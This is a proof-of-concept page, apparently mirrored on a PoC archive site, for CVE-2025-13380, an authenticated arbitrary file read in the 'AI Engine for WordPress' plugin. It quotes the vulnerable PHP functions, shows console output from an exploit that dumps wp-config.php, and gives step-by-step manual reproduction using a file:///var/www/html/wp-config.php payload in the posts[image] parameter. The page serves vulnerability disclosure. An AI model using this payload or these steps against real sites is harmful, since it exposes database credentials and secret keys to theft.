Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2025-13380 PoC — AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authenticated (Contributor+) Arbitrary File Read

Source
Associated Vulnerability
Title: AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authenticated (Contributor+) Arbitrary File Read (CVE-2025-13380)
Description:The AI Engine for WordPress: ChatGPT, GPT Content Generator plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.0.1. This is due to insufficient validation of user-supplied file paths in the 'lqdai_update_post' AJAX endpoint and the use of file_get_contents() with user-controlled URLs without protocol restrictions in the insert_image() function. This makes it possible for authenticated attackers, with Contributor-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.
Description
AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authenticated (Contributor+) Arbitrary File Read
Readme
# AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authenticated (Contributor+) Arbitrary File Read

The [AI Engine for WordPress](https://wordpress.org/plugins/liquid-chatgpt/) plugin contains a vulnerability in its image insertion feature that allows **any authenticated user with post editing capabilities** (Contributor, Author, Editor, Administrator) to download arbitrary files from the server. The vulnerability stems from the `lqdai_update_post` AJAX endpoint lacking proper capability checks and the `insert_image()` function using `file_get_contents()` with user-controlled URLs without protocol validation, allowing arbitrary file downloads via the `file://` protocol.

## TL;DR Exploits
* A POC [CVE-2025-13380.py](./CVE-2025-13380.py) is provided to demonstrate a Contributor level user downloading the site's `wp-config.php` file.
  
```console
 python3 ./exploit.py http://techcorp.cc contributor password   
[+] Target: http://techcorp.cc
[+] Username: contributor
[+] Nonce obtained: 5dc61a0166
[+] Post created with ID: 148
[+] File written to uploads directory
[+] Attempting to retrieve file from: http://techcorp.cc/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
[+] File retrieved successfully!
[+] wp-config.php contents:
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
...
...
...
```

## Details  

### **File Insert Function**
The `lqdai_update_post` AJAX action calls the `update_post()` function on line [315](https://plugins.trac.wordpress.org/browser/liquid-chatgpt/trunk/liquid-chatgpt.php#L315) of `/wp-content/plugins/liquid-chatgpt/liquid-chatgpt.php`, which lacks proper capability checks and allows any authenticated user to modify posts they can edit:

```php
function update_post() {
    if ( empty( $posts = $_POST['posts'] ) ) {
        wp_send_json( [
            'error' => true,
            'message' => __( 'Data is null!', 'lqdai' ),
        ] );
    }

    $args = [
        'ID'            => $posts['post_id'],
        'post_title'    => $posts['title'],
        'post_content'  => $posts['content'],
        'post_status'   => 'draft',
    ];

    $update_post = wp_update_post( $args );
    
    if ( is_wp_error( $update_post ) ) {
        wp_send_json( [
            'error' => true,
            'message' => $update_post->get_error_messages()
        ] );
    } else {
        wp_set_post_tags( $posts['post_id'], $posts['tags'], false );

        if ( !empty( $posts['image'] ) ) {
            $this->insert_image( $posts['post_id'], $posts['image'] );  // <-- ARBITRARY FILE DOWNLOAD VULNERABILITY
        }
    }
}
```

### **Arbitrary File Download in insert_image()**
The `insert_image()` function on line [419](https://plugins.trac.wordpress.org/browser/liquid-chatgpt/trunk/liquid-chatgpt.php#L419) uses `file_get_contents()` with user-controlled URLs without protocol validation, allowing arbitrary file downloads:

```php
function insert_image( $post_id, $image_url ) {
    // Get the path to the uploads directory
    $upload_dir = wp_upload_dir();
    $image_data = file_get_contents($image_url);

    $filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
    
    // Save the image to the uploads directory
    if ( wp_mkdir_p($upload_dir['path']) ) {
        $file = $upload_dir['path'] . '/' . $filename;
    } else {
        $file = $upload_dir['basedir'] . '/' . $filename;
    }
    
    file_put_contents($file, $image_data);  // <-- WRITES 
    
    // Get the attachment ID for the image
    $wp_filetype = wp_check_filetype($filename, null );
    $attachment = array(
        'post_mime_type' => $wp_filetype['type'],
        'post_title' => sanitize_file_name(str_replace('.jpg','', $filename)),
        'post_content' => '',
        'post_status' => 'inherit'
    );
    $attachment_id = wp_insert_attachment( $attachment, $file, $post_id );
    require_once(ABSPATH . 'wp-admin/includes/image.php');
    $attachment_data = wp_generate_attachment_metadata( $attachment_id, $file );
    wp_update_attachment_metadata( $attachment_id, $attachment_data );
    
    // Set the attachment ID as the featured image for the post
    set_post_thumbnail($post_id, $attachment_id);
}
```

### **Path Construction and File Naming**
The vulnerable path construction allows reading local files via the `file://` protocol:

```php
// User provides: 'file:///var/www/html/wp-config.php'
$image_url = 'file:///var/www/html/wp-config.php';

// file_get_contents() reads the file (works by default in PHP)
$image_data = file_get_contents($image_url);  // Reads /var/www/html/wp-config.php

// Filename is constructed from the path
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// parse_url() returns '/var/www/html/wp-config.php'
// sanitize_file_name() removes slashes: 'varwwwhtmlwp-config.php'
// Appends '.jpg': 'varwwwhtmlwp-config.php.jpg'

// File is written to uploads directory
$file = $upload_dir['path'] . '/' . $filename;
// Result: /wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
file_put_contents($file, $image_data);  // Writes wp-config.php content
```



## Manual Reproduction
1. Login to WordPress as a Contributor (or any user with post editing capabilities).
2. Create a new post draft to obtain a post ID.
3. Use browser developer tools or a tool like Burp Suite to intercept traffic.
4. Intercept a request to `/wp-admin/admin-ajax.php` calling the `lqdai_update_post` action.
5. Modify the request to include a `file://` protocol URL in the `posts[image]` parameter.
6. Send the request with `posts[image]=file:///var/www/html/wp-config.php` to read the WordPress configuration file.
7. Access the file via the uploads directory URL: `/wp-content/uploads/YYYY/MM/varwwwhtmlwp-config.php.jpg`.
8. Extract sensitive configuration files including database credentials, API keys, and security salts.

File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →